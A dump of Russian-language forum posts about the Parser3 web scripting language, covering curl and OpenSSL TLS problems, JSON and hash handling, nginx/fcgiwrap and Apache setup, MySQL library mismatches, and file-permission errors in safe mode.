[code]$.sslversion(1) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version\
$.sslversion(2) OpenSSL was built without SSLv2 support\
$.sslversion(3) error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure\
[/code]"
"85133","Более старая версия, но к api.telegram.org успешно подключается:\
https://skanthak.homepage.t-online.de/download/curl-7.56.1.cab"
"85134","оно использует dll с VC2017redist.\
\
Как оказалось проблема не в curl, а в библитеках OpenSSL.\
\
Решение тут: https://www.parser.ru/forum/?id=85131\
Может єти либьі както обновить в дистрибутиве-сборке под Вин32 на сайте парсера?"
"85135","[quote]оно использует dll с VC2017redist.[/quote]\
\
Сомнительно, версия по моей ссылке заработала даже в Windows XP, где никакого VC2017redist нет."
"85136","если вернуть \"родньіе\" что идут с парсером libeay32 и ssleay32 - то опять не работает"
"85137","Доброе время суток!\
Как в следующем примере получить имя ключа [b]age[/b]?\
[code]$hash[\
	$.other1[...]\
	$.age[\
		$.value[18]\
		$.description[Минимальный возраст]\
	]\
	$.other2[...]\
][/code]\
Может есть что-то наподобие [b]$hash.age.key[/b] или [b]^hash.age.key[][/b], которое возвращало бы [b]age[/b]?\
Или придется заморачиваться с получением и перебором массива всех ключей хэша?\
Или добавлять в $.age[$.name[age]] каким либо другим методом..."
"85138","Поясните цель, зачем получать имя ключа если его имя вам уже известно?"
"85139","^хеш.at(1)[key]"
"85140","[code]\
$object[$.value[18]]\
\
$container1[\
  $.key1[$object]\
]\
\
$container2[\
  $.key2[$object]\
]\
\
$object.value[19]\
\
$container1.key1.value\
$container2.key2.value\
$object.value\
\
[/code]\
\
Объект хранится по ссылке, поэтому ваш вопрос не имеет смысла. А где эта ссылка прописана объекту неведомо. Так что добавляйте поле name объекту сами."
"85141","https://www.parser.ru/download/nightly/\
Подробнее в отдельном сообщении."
"85142","В ночных сборках выложены программы установки парсера 3.4.6b под Windows.\
Изменения в Windows версии:\
* Доступна 64-х битная версия парсера под Windows.\
* Парсер и SQL драйвера собираются статически, поэтому больше не нужны msvc*71.dll.\
* Обновленная версия curl поддерживает TLS 1.3 и не имеет зависимостей от libeay32.dll и ssleay32.dll\
* Парсер собран с актуальными версиями PCRE, libxml, libxslt.\
Некоторые изменения в самом парсере:\
* ^image::measure[] добавлена поддержка tiff, bmp в jpg поддерживает XMP ($.xmp(true))\
* ^math:convert[число=строка|файл](2..16|256)|[алфавит](2..16|256)|[алфавит][опции]\
* Упрощена интеграция с fastcgi\
* Драйвер mysql поддерживает подключение к нескольким серверам и использование my.cnf\
Подробности в [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?view=markup\"]ChangeLog[/url] парсера или спрашивайте."
"85144","Я из БД получаю от элемента каталога набор параметров, затем превращаю эту таблицу в хэш. Набор параметров всегда разный.\
Далее мне нужно фильтровать каталог по этим параметрам, так что нужны их имена. Ну это если максимально кратко объяснять.\
Т.е. если age-min=18 и в фильтре каталога посетитель введет в поле минимальный возраст 16, то данный элемент показываться не должен."
"85145","Так не получится, т.к. там не всегда будет 1."
"85146","Понял, спасибо!\
Но все же была надежда, что есть волшебный метод для этого :)"
"85147","[quote]Упрощена интеграция с fastcgi[/quote]\
\
А в чём именно?\
\
\
Как правильно собрать в VS 64-битную версию?"
"85148","https://www.parser.ru/download/nightly/\
\
Или собирать самостоятельно. На юниксе это очень простая задача."
"85149","Настройки nginx для fcgiwrap:\
\
fastcgi_param SCRIPT_FILENAME parser3.cgi;\
fastcgi_pass unix:/run/fcgiwrap.socket;\
\
для определения, что запуск в режиме CGI, а не из консоли\
fastcgi_param REQUEST_METHOD $request_method;\
\
обрабатываемый файл\
fastcgi_param PATH_TRANSLATED $request_filename;\
\
Опционально (парсер его из PATH_TRANSLATED/PATH_INFO соберет при необходимости):\
fastcgi_param DOCUMENT_ROOT $document_root;\
\
Было:\
\
чтобы проверить, что вызов именно к обработчику, а не к /cgi-bin/parser3.cgi/file.html - актуально понятно только в apache.\
fastcgi_param REQUEST_URI $request_uri;\
fastcgi_param PATH_INFO $request_uri;\
fastcgi_param SCRIPT_NAME anything;\
\
Стало:\
\
для формирования $request:document-root и $request:uri\
fastcgi_param PATH_INFO $fastcgi_script_name;\
\
Подробности в тикете:\
http://redmine.parser.ru/issues/1164"
"85150","Достаточно добавить платформу x64 в Configuration Manager (во всяком случае в VS2015). Там будут предупреждения, что часть путей без x64, но на результат не влияет. И папку win32 понятно надо обновить, статически собранные библиотеки там появились только пару дней как."
"85151","Точнее сказать сложно. И понятно релиз будет одновременно под все платформы."
"85153","Надо будет попробовать."
"85154","Тогда не понял. Вы говорите, что нужно имя конкретного ключа. Соответственно вы знаете либо его индекс либо имя и тогда вопрос не имеет смысла"
"85155","Имя ключа знаю, но не знаю его порядок в массиве. И хотел получать его имя из массива.\
В итоге пришлось перебирать все ключи."
"85156","А можете скинуть код, как в итоге получилось с перебором всех ключей?"
"85157","Ну я пока вручную создаю хэш с параметрами, полноценного кода еще нет."
"85158","Добрый вечер,\
\
Помогите, пожалуйста, не могу достать значение из Json.\
Есть Json (много уровней вложенности, поэтому прилагаю нижний. Все значения прекрасно достаются, кроме $cf.values.value .\
\
[code]  \
{\"id\":239729,\
\"name\":\"\\u0418\\u0441\\u0442\\u043e\\u0447\\u043d\\u0438\\u043a \\u0442\\u0440\\u0430\\u0444\\u0438\\u043a\\u0430\",\
\"code\":\"UTM_SOURCE\",\
\"values\":[{\"value\":\"adwords\"}],\
\"is_system\":true}\
\
    ^custom_fields.foreach[key;cf]{\
    ^if($cf is hash){\
      $cf.id #достается\
      $cf.name #достается\
      $cf.code #достается\
      $cf.values.value #пусто при обращении напрямую и при переборе\
     }\
[/code]\
\
Что-то на поверхности! Буду признателен за подсказку."
"85159","В вашем случае, получается вот такой хеш:\
[code]\
$.id(239729)\
$.name[Источник трафика]\
$.code[UTM_SOURCE]\
$.values[\
	$.0[\
		$.value[adwords]\
	]\
]\
$.is_system(true)\
[/code]\
\
соответственно, получить значение из \"values\" можно вот так:\
[code]$cf.values.0.value[/code]"
"85160","Оно"
"85161","Приветствую. Может кто-нибудь за денежку настроить и запустить Parser 2 на VDS руцентра с Debian 9? Пишите стоимость сюда или в почту."
"85163","А что делать... Лет 15 назад был собран большой проект, на котором заказчик до сих пор работает. И вот теперь этот парсер отовсюду выгоняют, потому что все хостеры апгрейдят операционки. Единственный выход - перейти на VDS."
"85164","Мы относительно недавно выкладывали сборку parser2 под Debian 9, более того - x64...\
\
http://parser2.parser.ru/download/\
\
parser10_debian9amd64_mysql_sp6a.tar.gz - 02.03.2017"
"85166","вот такую ошибку получаем \
/usr/lib/x86_64-linux-gnu/libmysqlclient.so.20: version `libmysqlclient_20.0' not found (required by .../cgi-bin/parser2.cgi): /cgi-bin/parser2.cgi\
[cgi:error] [pid 5126] [client...] End of script output before headers: parser2.cgi\
\
что посоветуете?"
"85167","Да, непонятно, откуда там libmysqlclient.so.20. Можно либо в бинарнике поменять _20 на _18,\
\
                 U mysql_close@@libmysqlclient_20.0\
                 U mysql_error@@libmysqlclient_20.0\
                 U mysql_fetch_field@@libmysqlclient_20.0\
                 U mysql_fetch_row@@libmysqlclient_20.0\
                 U mysql_field_count@@libmysqlclient_20.0\
                 U mysql_free_result@@libmysqlclient_20.0\
                 U mysql_init@@libmysqlclient_20.0\
                 U mysql_num_fields@@libmysqlclient_20.0\
                 U mysql_num_rows@@libmysqlclient_20.0\
                 U mysql_query@@libmysqlclient_20.0\
                 U mysql_real_connect@@libmysqlclient_20.0\
                 U mysql_store_result@@libmysqlclient_20.0\
\
Либо собрать настоящий libmysqlclient.so.20 (у вас вероятно просто симлинк)? Но проще наверное взять соседний бинарник для Debian8, там зависимость с libmysqlclient.so.18 и у меня на Debian9 он нормально запустился:\
\
ldd ./parser2.cgi \
	linux-vdso.so.1 (0x00007fff58bf8000)\
	libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007ff4e81c3000)\
	libmysqlclient.so.18 => /usr/lib/x86_64-linux-gnu/libmysqlclient.so.18 (0x00007ff4e7f70000)\
	libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007ff4e7d56000)\
	libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007ff4e7b3f000)\
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff4e77a0000)\
	/lib64/ld-linux-x86-64.so.2 (0x00007ff4e84c7000)\
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff4e7583000)\
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff4e737f000)\
	libssl.so.1.1 => /usr/lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007ff4e7113000)\
	libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007ff4e6c79000)"
"85168","Подозреваю тот Parser2 собирался не на Debian 9, а на какой-то Ubuntu, это в них libmysqlclient20:\
\
https://packages.ubuntu.com/xenial/libmysqlclient20\
https://packages.ubuntu.com/bionic/libmysqlclient20"
"85169","ха, помогло! спасибо огромное!"
"85170","не получается соединится с Memcached. Parser 3.4.5 на macOS 10.15.3 жестко просит libmemcached.so (failed to load memcached library libmemcached.so: dlopen(libmemcached.so, 1): image not found). Любые попытки подсунуть ему dylib не работают. Найти libmemcached.so под mac где-либо вообще не получается. Что делать?\
Спасибо-помогите!"
"85171","Дело оказалось в самом Memcached, а не в либе (подмена описанная на https://www.parser.ru/forum/?id=84294 работает)."
"85172","64-битная версия ругается\
[quote][Wed Mar  4 01:36:58 2020] [7936] /: ...www/auto.p(40:10): '...\\cgi-bin\\parser-3.4.6b/lib/parser3mysql.dll' driver failed to initialize client library '...\\cgi-bin\\parser-3.4.6b/lib/libmySQL.dll', Не найден указанный модуль. [<no type>] [/quote]\
либы лежат где обычно, по этим путям\
\
У 32-х битной версии с аналогичным конфигом такой проблемы не возникает.\
\
сервер 2012R2x64"
"85173","У нас есть возможность указать multi_statements=1\
С void-ами все понятно, но если написать так:\
[code]^connect[$CS]{\
	$t[^table::sql{select 1^;select 2}]\
}\
[/code]\
То получаем ошибку\
[quote]result must contain exactly one table[/quote]\
\
То есть запросы отправлять в принципе можно, но результаты получить - нет. Может добавить такую возможность?\
\
P.S. Давно хотел написать - на сайте есть мелкий неприятный баг - есть что-то поискать слева, то в результатах поиска недоступна ссылка на форум в верхнем меню"
"85174","libmySQL.dll тоже должна быть 64-х битной, она из 64-х битного дистрибутива? Если да, то ставить http://www.dependencywalker.com/ и смотреть на libmySQL.dll, возможно каких-то зависимостей не хватает."
"85178","Кто нибудь сталкивался с такой странностью\
\
Сервер Debian 9\
Настройка по инструкции:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser2.cgi\
\
При этом при таком обращени /admin/places/ -- происходит направление на парсер\
\
а прии таком /admin/places/index.html -- не происходит"
"85179","Скорее всего *.html отдаются через nginx как статический файл"
"85180","а как это исправить?"
"85181","* Поправить в конфигах nginx список расширений (см. https://nginx.org/ru/docs/beginners_guide.html).\
\
* Если у вас виртуальный хостинг с панелью управления, возможно в ней где-то есть такая настройка.\
\
* Написать письмо хостеру с вопросом\
\
* сменить расширение файлов на \"phtml\", а в .htaccess прописать:\
[code]AddHandler parsed-html phtml\
Action parsed-html /cgi-bin/parser2.cgi\
DirectoryIndex index.phtml[/code]"
"85182","UNION вообще недостаточно. Там где можно использовать UNION этот функционал и не нужен. А речь о \
[code]^table::sql{\
	select a,b from table 1;\
	select b,c,d from table 2\
}[/code]\
\
Мне кажется такая возможность может значительно упростить код."
"85183","Эта фича нужна, когда на один запрос возвращается несколько резалтсетов, например после фасетного поиска в сфинксе. Но поддерживается она не во всех базах, поэтому хорошего и универсального решения нет.\
\
Для твоего примера достаточно сделать два последовательных вызова table:sql. На производительности это скажется минимально."
"85184","Спасибо за программку, полезная. Не хватало MSVCR120.DLL и MSVCP120.DLL.\
Соответственно установка [url=\"https://www.microsoft.com/ru-ru/download/confirmation.aspx?id=40784\"]Visual C++ для Visual Studio 2013[/url] помогла.\
\
Жаль что сообщение об ошибке такое не информативное"
"85185","[quote]Не хватало MSVCR120.DLL и MSVCP120.DLL.[/quote]\
\
OK, попробуем положить их в дистрибутив, ну или еще может поищу статически слинкованный libmySQL.dll x64 - хотя я и так их несколько штук перебрал - другие были еще хуже. :)\
\
[quote]Жаль что сообщение об ошибке такое не информативное.[/quote]\
\
Увы, тут Windows не возвращает никаких подробностей. :("
"85186","не проходит авторизация ни Basic ни NTLM ^(\
\
[code]	^curl:session{\
		$lResult[^curl:load[\
					$.url[$lURL]\
					$.ssl_verifypeer(false)\
					$.connecttimeout(3000)\
					$.timeout(3000)\
					$.mode[text]\
			    $.charset[UTF-8]\
					$.fresh_connect(true)\
					$.content-type[text/html]\
					$.httpauth(1<<0) ^rem{CURLAUTH_BASIC = (1<<0) }\
#					$.httpauth(1<<3) ^rem{CURLAUTH_NTLM = (1<<3) }\
					$.username[$ntlmUser]\
					$.userpwd[$ntlmPswd]\
					$.verbose(1)\
		]]\
}[/code]\
\
[quote]Status	401\
StdErr	\
Text	\
ver	libcurl/7.38.0 OpenSSL/1.0.1t zlib/1.2.8 libidn/1.29 libssh2/1.4.3 librtmp/2.3\
Name	noname.dat\
Size	0\
Mode	text\
cType	text/html\
\
size_download	0\
request_size	114\
content_type	\
effective_url	http://virtual.local/testFolder/\
header_size	167\
redirect_time	0\
appconnect_time	0\
pretransfer_time	0.006071\
num_connects	1\
primary_ip	10.0.0.4\
speed_upload	0\
speed_download	0\
redirect_url	\
proxyauth_avail	0\
starttransfer_time	0.102424\
connect_time	0.005937\
namelookup_time	0.004537\
redirect_count	0\
httpauth_avail	1\
total_time	0.102488\
content_length_download	0\
os_errno	0\
ssl_verifyresult	0\
response_code	401\
content_length_upload	-1\
size_upload	0[/quote]\
\
несмотря на $.verbose(1) или $.verbose[1] stderr пустой\
\
при єтом:\
\
[code]curl -vv -u ntlmUser http://virtual.local/testFolder/[/code]\
и\
[code]curl -vv --ntlm -u ntlmUser http://virtual.local/testFolder/[/code]\
\
[code]* Connected to virtual.local (10.0.0.4) port 80 (#0)\
* Server auth using Basic with user 'ntlmUser'\
> GET /testFilder/ HTTP/1.1\
> Authorization: Basic .....\
> User-Agent: curl/7.38.0\
> Host: virtual.local\
> Accept: */*\
>\
< HTTP/1.1 200 OK\
< Content-Type: text/html; charset=UTF-8\
* Server Microsoft-IIS/7.0 is not blacklisted\
< Server: Microsoft-IIS/7.0\
< Date: Sat, 14 Mar 2020 22:49:28 GMT\
< Content-Length: 9948\
<\
<html><head><title>virtual.local - /testFolder/</title>\
...[/code]\
\
[code]* Connected to virtual.local (10.0.0.4) port 80 (#0)\
* Server auth using NTLM with user 'ntlmUser'\
> GET /testFilder/ HTTP/1.1\
> Authorization: NTLM TRIM.....=\
> User-Agent: curl/7.38.0\
> Host: virtual.local\
> Accept: */*\
>\
< HTTP/1.1 200 OK\
< Content-Type: text/html; charset=UTF-8\
* Server Microsoft-IIS/7.0 is not blacklisted\
< Server: Microsoft-IIS/7.0\
< Date: Sat, 14 Mar 2020 22:55:18 GMT\
< Content-Length: 9948\
<\
<html><head><title>virtual.local - /testFolder/</title>\
...[/code]\
\
буду, если что, конечно городить огород с ^file::exec но не хотелось бьі, бо там надо дополнительно маппировать curl кудато в скрипт с www-data овнером, потом чтото думать про контроль всяких нехороших символов в имени и пароле... кароч головняк тот еще..."
"85188","либо\
[code]$.userpwd[${ntlmUser}:$ntlmPswd][/code]"
"85190","У меня работает. Но curl этот вывод в stderr делает, то есть либо из консоли запускать, либо в error_log веб-сервера смотреть...\
\
*   Trying 195.218.200.21...\
* TCP_NODELAY set\
* Expire in 200 ms for 4 (transfer 0x55ce92938930)\
* Connected to www.artlebedev.ru (195.218.200.21) port 443 (#0)\
* ALPN, offering h2\
* ALPN, offering http/1.1\
* successfully set certificate verify locations:\
*   CAfile: none\
  CApath: /etc/ssl/certs\
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\
* ALPN, server accepted to use http/1.1\
* Server certificate:\
*  subject: OU=Domain Control Validated; OU=PositiveSSL Wildcard; CN=*.artlebedev.ru\
*  start date: Jun 19 00:00:00 2018 GMT\
*  expire date: Sep 20 23:59:59 2020 GMT\
*  subjectAltName: host \"www.artlebedev.ru\" matched cert's \"*.artlebedev.ru\"\
*  issuer: C=GB; ST=Greater Manchester; L=Salford; O=COMODO CA Limited; CN=COMODO RSA Domain Validation Secure Server CA\
*  SSL certificate verify ok.\
> GET / HTTP/1.1\
Host: www.artlebedev.ru\
Accept: */*\
\
< HTTP/1.1 200 OK\
< Server: nginx\
< Date: Tue, 17 Mar 2020 12:58:43 GMT\
< Content-Type: text/html; charset=UTF-8\
< Content-Length: 12829\
< Connection: keep-alive\
< Keep-Alive: timeout=10\
< Vary: Accept-Encoding\
< Expires: Fri, 23 Mar 2001 09:32:23 GMT\
< Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate\
< Pragma: no-cache\
< X-Frame-Options: SAMEORIGIN\
< Strict-Transport-Security: max-age=31536000\
< \
* Connection #0 to host www.artlebedev.ru left intact"
"85192","$lResult.stderr - там и не должно быть, это же не запуск внешней программы, где можно переопределить stderr. parser.log - тоже не должно быть.\
Что нет в error_log - странно, стоит попробовать запустить из консоли (кстати какая OS?)."
"85193","[code]Linux b-nginx-a1 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u2 (2016-10-19) x86_64 GNU/Linux\
[/code]\
\
[code]nginx version: nginx/1.15.7\
[/code]\
\
консольно вроде работает\
curlTest.p3h:\
[code]#!/bin/sh\
sudo -u www-data /www/parser/current/parser3.cgi curlTest.p3h[/code]\
\
[code]wdev@b-nginx-a1:/tmp/curlTest# ./curlTest.sh\
* Hostname was NOT found in DNS cache\
*   Trying 10.0.0.4...\
* Connected to virtual.local (10.0.0.4) port 80 (#0)\
* Server auth using NTLM with user 'ntlmUser'\
> GET /testFilder/ HTTP/1.1\
Authorization: NTLM TlRMT...\
Host: virtual.local\
Accept: */*\
\
< HTTP/1.1 401 Unauthorized\
* Server Microsoft-IIS/7.0 is not blacklisted\
< Server: Microsoft-IIS/7.0\
< WWW-Authenticate: NTLM TlRMTVN...\
[/code]"
"85194","https://www.parser.ru/docs/lang/curloptionsdesc.htm"
"85195","Здравствуйте.\
\
[code]\
@body[]\
 <div class=\"w3-container\">\
  ^show_dates[2020-03-25;3]<br>\
  ^show_dates[2020-03-30;3]\
 </div>\
\
@show_dates[dat;rol]\
#dat это дата; rol - к-во дней, длительность мероприятия\
$f_date[^date::create[$dat]]  ^rem{это дата начала, ...}\
$s_date[^date::create[$dat]]  ^rem{... а тут пока тоже дата начала, ... }\
^s_date.roll[day]($rol-1)     ^rem{... но теперь она уже дата конца }\
\
^if($f_date.month == $s_date.month){\
	${f_date.day}-$s_date.day ^show_monts[$f_date] \
}{\
	${f_date.day}^show_monts[$f_date]-${s_date.day}^show_monts[$s_date]\
}\
\
\
@show_monts[dd]\
#числовое значения месяца переводит в текстовое\
 ^switch($dd.month){ \
   ^case(1){ січня} \
   ^case(2){ лютого}\
   ^case(3){ березня}\
   ^case(4){ квітня}\
   ^case(5){ травня}\
   ^case(6){ червня}\
   ^case(7){ липня}\
   ^case(8){ серпня}\
   ^case(9){ вересня}\
   ^case(10){ жовтня}\
   ^case(11){ листопада}\
   ^case(12){ грудня}\
   ^case[DEFAULT]{ нікагдабря} \
 }\
[/code]\
\
Код выводит:\
25-27 березня\
30 березня -1 квітня\
\
С первой строчкой все нормально, а вторая, по задумке, должна была бы быть без пробела после \"березня\":\
30 березня-1 квітня\
\
Где я ошибся?"
"85196","И еще посмотрите на https://www.parser.ru/lib/date/"
"85197","Но все равно интересно, почему не получалось так, как реализовал я? Почему в моем случае добавлялся левый пробел?"
"85198","даю руку на отсечение, что проблемы были, когда первый месяц был \"січня\" или \"нікагдабря\" :-)"
"85199","У Парсера код погружен в текст и пробелы попадают в результат функции, если явно с этим не бороться."
"85200","Я заметил уже, что там лишние пробелы, но на самом деле проблемы были и во всех остальных месяцах, хоть там и пробелов нет)\
Так что, формально, руку сберег))) так как в этих месяцах таки тоже проблемы были"
"85201","уже ясно) спасибо!"
"85202","Добрый вечер)\
Ищу хостинг, на котором гарантированно пашет Парсер-3 (вы знаете про работающий там сайт и он даже изредка не вылетает), который либо позволяет обслуживать 200-300 человек в минуту на базовом хостинге, либо разрешает быстрый апгрейд виртуальных мощностей. \
\
Нужен именно хостинг, а не VPS. Не хочу ковыряться в настройках. \
\
Спасибо."
"85204","Спасибо, но это ж вроде как VPS?\
Устанавливать линукс, затем вебсервер, БД..."
"85205","Под ваши требования подходит только облако, так что без VPS вам никуда. Сейчас все облака имеют готовые образы и вам останется только установить парсер."
"85206","Вот тут https://aws.amazon.com/getting-started/hands-on/ куча вариантов, непонятно что из этого выбирать и как это отразится на цене. Куда мне смотреть, не подскажете?"
"85207","После авторизации вы должны попасть на https://lightsail.aws.amazon.com/ls/webapp/home/instances \
Там довольно простой и понятный интерфейс. И первый месяц простой инстанс бесплатно."
"85208","Надеюсь, я правильно Вас понял и следует ставить, например, Django, потому что там есть Apache и MySQL.\
http://prntscr.com/rq4hdc"
"85211","Привет. \
Создал чат бот в конструкторе chatfuel.com. Там есть модуль который позволяеть отправить на внешний вебхук JSON запрос и, соответственно получить и вывести для юзера ответ.\
\
Мой код:\
\
[code]\
#auto.p\
@auto[]\
$connect_string[mysql://....]\
\
@main[]\
^body[]\
\
#get.html - собственно файл, который принимает JSON запрос и формирует ответ\
@body[]\
#тут запрос, который вытаскивает из БД рандомно строку\
^if(def $form:user){\
  ^connect[$connect_string]{\
    $randombook[^table::sql{...}]\
  }\
}\
#а теперь данные из этой строки вставляю в json-ответ\
{\
  \"messages\": [\
    {\
      \"text\": \"$randombook.book_user советует книгу: $randombook.book\"\
    }\
  ]\
}\
[/code]\
Вобщем, оно работает, но: \
1. если в базе есть записи, которые содержат, например скобки, я получаю в ответе что-то типа: \
[i]Yaroslav Davydchuk Советует книгу: Эдгар Берроуз &quot;Тарзан&quot;[/i]\
2. Если же переменная [color=\"#ff0000\"]$randombook.book[/color] содеджит перевод строки —  чат-бот не может отобразить такой json-ответ\
\
Подскажите, пожалуйста, как это можно исправить?"
"85212","Додул сам. \
[code]^untaint[json]{$randombook.book}[/code]"
"85213","Почему парсер не падает на таких конструкциях?\
$dt[^date::create[2019-00-10]]\
\
Более того, он мало что не падает, он еще и дату такую считает на самом деле как 2018-12-10, что очень печалит. Проверять даты разбирая строки матчами или сплитами? Или какой то лайфхак есть?\
\
Может можно какой-то ключик сделать ^date::create[2019-00-10][$.strict(true)] или глобальный флаг, чтобы в такой ситуации парсер отваливался с exception?"
"85214","Здравствуйте. \
У меня известная проблема, перерыл форум, но подходящего решения не нашел. \
\
/p3test.p3: '/var/www/html/cgi/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/html/cgi/auto.p', fuid(0)!=euid(33) or fgid(0)!=egid(33) [parser.runtime]\
\
Сайт на vps, т.е. теоретически можно делать всё. Скомпилировать без safe mode за разумное время не получилось, настроить suexec - тоже. Правильно ли я понимаю, что можно просто присвоить Parser3.cgi параметры fuid=33, fgid=33 (или Апачу и всем его модулям euid=0 и egid=0), то всё заработает? \
Или это нужно каждый раз делать для всех новых загруженных файлов .p .cfg? \
Как это проще сделать? \
\
Спасибо."
"85215","Вот тут прочитал про uid и gid http://parallel.uran.ru/book/export/html/396\
Оказывается, это не атрибуты файла, а что-то типа свойств процесса, присваемых каждый раз заново. Тогда получается, я сморозил фигню в вопросе. Но тогда совсем непонятно, что с этим делать. Писать скрипт, который будет запускаться вместо вызова p3, и вызывать его с нужным gid и uid?"
"85216","они берут данные из envvars, а там export APACHE_RUN_USER=www-data\
Меняю www-data на 0, и Apache вылетает с сообщением AH00543: apache2: bad user name 0"
"85220","Альтернатива — запустить Апач от конкретного пользователя или установить папке и сайту пользователя под которым запущен Апач, обычно это какой-нибудь www-data."
"85221","[code]\
$d[^date::create[2020-00-13]]\
^if(^d.sql-string[date] ne \"2020-00-13\"){\
  ^throw[invalid.date]\
}\
[/code]"
"85222","[code]\
^untaint[json]{\
{\
  \"messages\": [\
    {\
      \"text\": \"$randombook.book_user советует книгу: $randombook.book\"\
    }\
  ]\
}\
}\
[/code]"
"85223","Если Debian/Ubuntu, то еще можно поставить парсер из пакетов, в нем тоже выключен safe mode. Но правильно да, настроить suexec или поменять права на папке сайта на ту, под которой работает apache. Это не только для безопасности - с неправильными правами например не получится ни файл сохранить, ни в лог сообщение записать - права на Unix по умолчанию не позволяют писать везде кому попало, только владельцу файла/директории."
"85224","Оно хочет имя пользователя, а не его ID. Но в любом случае, от root запускать неправильно и думаю и не получится (не дадут ограничения безопасности)."
"85225","apt-get качает 3.4.3 хотя крайний 3.4.5\
В 3.4.3 нет редактирования таблиц, я пролетаю:(\
\
А с помощью чего будет правильным/удобным задать права?"
"85226","$h0[$.1[str]]\
^h0.foreach[k;v]{\
	^m1[$h0.$k;$.x[1]]\
	$h0.$k.CLASS_NAME\
}\
@m1[qry;set1]\
^set1.foreach[k;v]{ - }\
\
>> void\
\
Меняем k на j в @m1 \
\
>> string"
"85227","Либо явно описывайте локальные переменные метода, либо используйте locals на уровне метода или класса\
\
https://www.parser.ru/docs/lang/definemethod.htm\
https://www.parser.ru/docs/lang/defineclass.htm"
"85228","Спасибо, объявление [k] локальной работает. \
И стало понятно, для чего сделана такая глобализация - так и правда удобнее."
"85229","Нужен редизайн сайта. Требуется сверстать и натянуть верстку на сайт https://perevozilka.su/\
Более подробно в скайпе derek169930"
"85230","а кто какой редактор для Парсера сейчас пользует?\
\
я вот с ФАРовского с плагином соскочить не могу :)\
\
пробовал Sublime но там расцветка корявая (оно например не понимает html|js вставок), и вот, както нет перехода между определениями функций как например в том же BorlandBuilder (или как оно там щас назьівается) опять же не понимает svn/git ..."
"85231","Git он уже понимает. Расцветку несложно поправить, у меня получилось так — https://github.com/unhandled-exception/pf2/tree/master/tools/sublime/ Переходы мне особо не нужны (тут надо любой редактор учить сложному), а для автокомплитов хватает плагина «All Autocomplete»."
"85232","Скоро Coda превратиться в Nova. Бета пока синтаксис P3 не поддерживает, но как в Panic закончат доки по языковым расширениям, так сразу буду пилить поддержку."
"85233","Последнее время сижу на VS Code, до этого UltraEdit. Подсветка есть и там и там"
"85234","Pspad с подсветкой shell."
"85235","Как оказалось, надо было не только парсеру менять владельца, но и всем обрабатываемым файлам\
\
chown www-data. -R /var/www"
"85236","\"поменять права на папке сайта на ту, под которой работает apache\""
"85237","Хотим, к примеру, использовать [url=https://www.w3.org/TR/preload/#example-2-using-http-header]preload[/url], выдавая несколько ссылок на разные ресурсы:\
[code]\
Link: <https://example.com/styles.css>; rel=preload; as=style\
Link: <https://example.com/script.js>; rel=preload; as=script\
[/code]\
А как их установить?\
Ведь это поля [i]response[/i] и выживет только последний установленный заголовок."
"85238","Конкретно в [i]Link[/i] можно перечислять ресурсы в одном заголовке через запятую:\
[code]$response:link[<https://example.com/styles.css>; rel=preload; as=style, <https://example.com/script.js>; rel=preload; as=script][/code]"
"85239","Ну, чтоб не расписывать переменные из всех ячеек руками в духе ^table.menu{^if($table.id eq $id){$column1[$table.column1]$column2[$table.column2]$column3[$table.column3]$column4[$table.column4]$column5[$table.column5]}}, а через foreach какой-нибудь..."
"85240","https://www.parser.ru/docs/lang/?tablecolumns.htm - список колонок.\
\
[code]$cols[^table.columns[]]\
\
^cols.menu{\
  $cname[$cols.column]\
  $$cname[$table.$cname]\
}[/code]"
"85242","минималка\
\
[code]@main[]\
^MAIN:CLASS_PATH.append{}\
^use[anything.p]\
[/code]\
\
Версии 3.4.5 и 3.4.6bx64 windows7x64"
"85243","Парсер сильно удивляется предложению искать файлы по пустому пути."
"85244","Падать то он все равно не должен от удивления? ))\
\
Тут что-то не такое очевидное, т.к. пустые пути парсер не смущают, вот так всё окей\
\
[code]@main[]\
$var[^#0A]\
$MAIN:CLASS_PATH[^table::create{path}]\
^MAIN:CLASS_PATH.append{$var}\
\
^use[anything.p]\
[/code]\
\
[quote]anything.p not found along $MAIN:CLASS_PATH[/quote]\
А если этот anything.p найден (в данном случае рядом, т.к. искать больше негде), то вообще всё прекрасно.\
\
\
И наверно ^table.append{$anything_or_empty} должен работать аналогично тому, как при create:\
\
[code]@main[]\
$table[^table::create{path\
path1/\
\
path2/\
\
}]\
^table.count[] --> 2\
[/code]\
Т.е. игнорировать пустые строки."
"85245","При этом\
[code]^MAIN:CLASS_PATH.append{$var}[/code]\
не то же самое что\
[code]^MAIN:CLASS_PATH.append{}[/code]\
\
[quote]И наверно ^table.append{$anything_or_empty} должен работать аналогично тому, как при create\
Т.е. игнорировать пустые строки.[/quote]\
\
Так и есть:\
[code]$t[^table::create{field}]\
^t.append{\
\
1\
\
}\
^t.count[]\
1\
[/code]"
"85246","Формально не тоже самое, но последствия одинаковые, я уж не стал приводить все варианты, если в append{} передается пустая строка - падаем, передается хоть что-то, даже если ^#0A - не падаем.\
\
[quote]Так и есть:[/quote]\
Так и есть, но не до конца. Потому что ^table::append{} строку таки добавляет, хотя ее там нет.\
\
Еще, оказывается, можно так:\
\
[code]\
$table[^table::create{}]\
[/code]\
O_o\
\
С такой недо-nameless табличкой даже можно работать через костыль\
\
[code]$table[^table::create{}]\
^table.append{test}\
^table.menu{\
	$var[]\
	$table.$var\
}[/code]\
\
жесть ;)"
"85247","[quote]С такой недо-nameless табличкой даже можно работать через костыль[/quote]\
\
Void в имени столбца.\
\
[code]$table[^table::create{\
test}]\
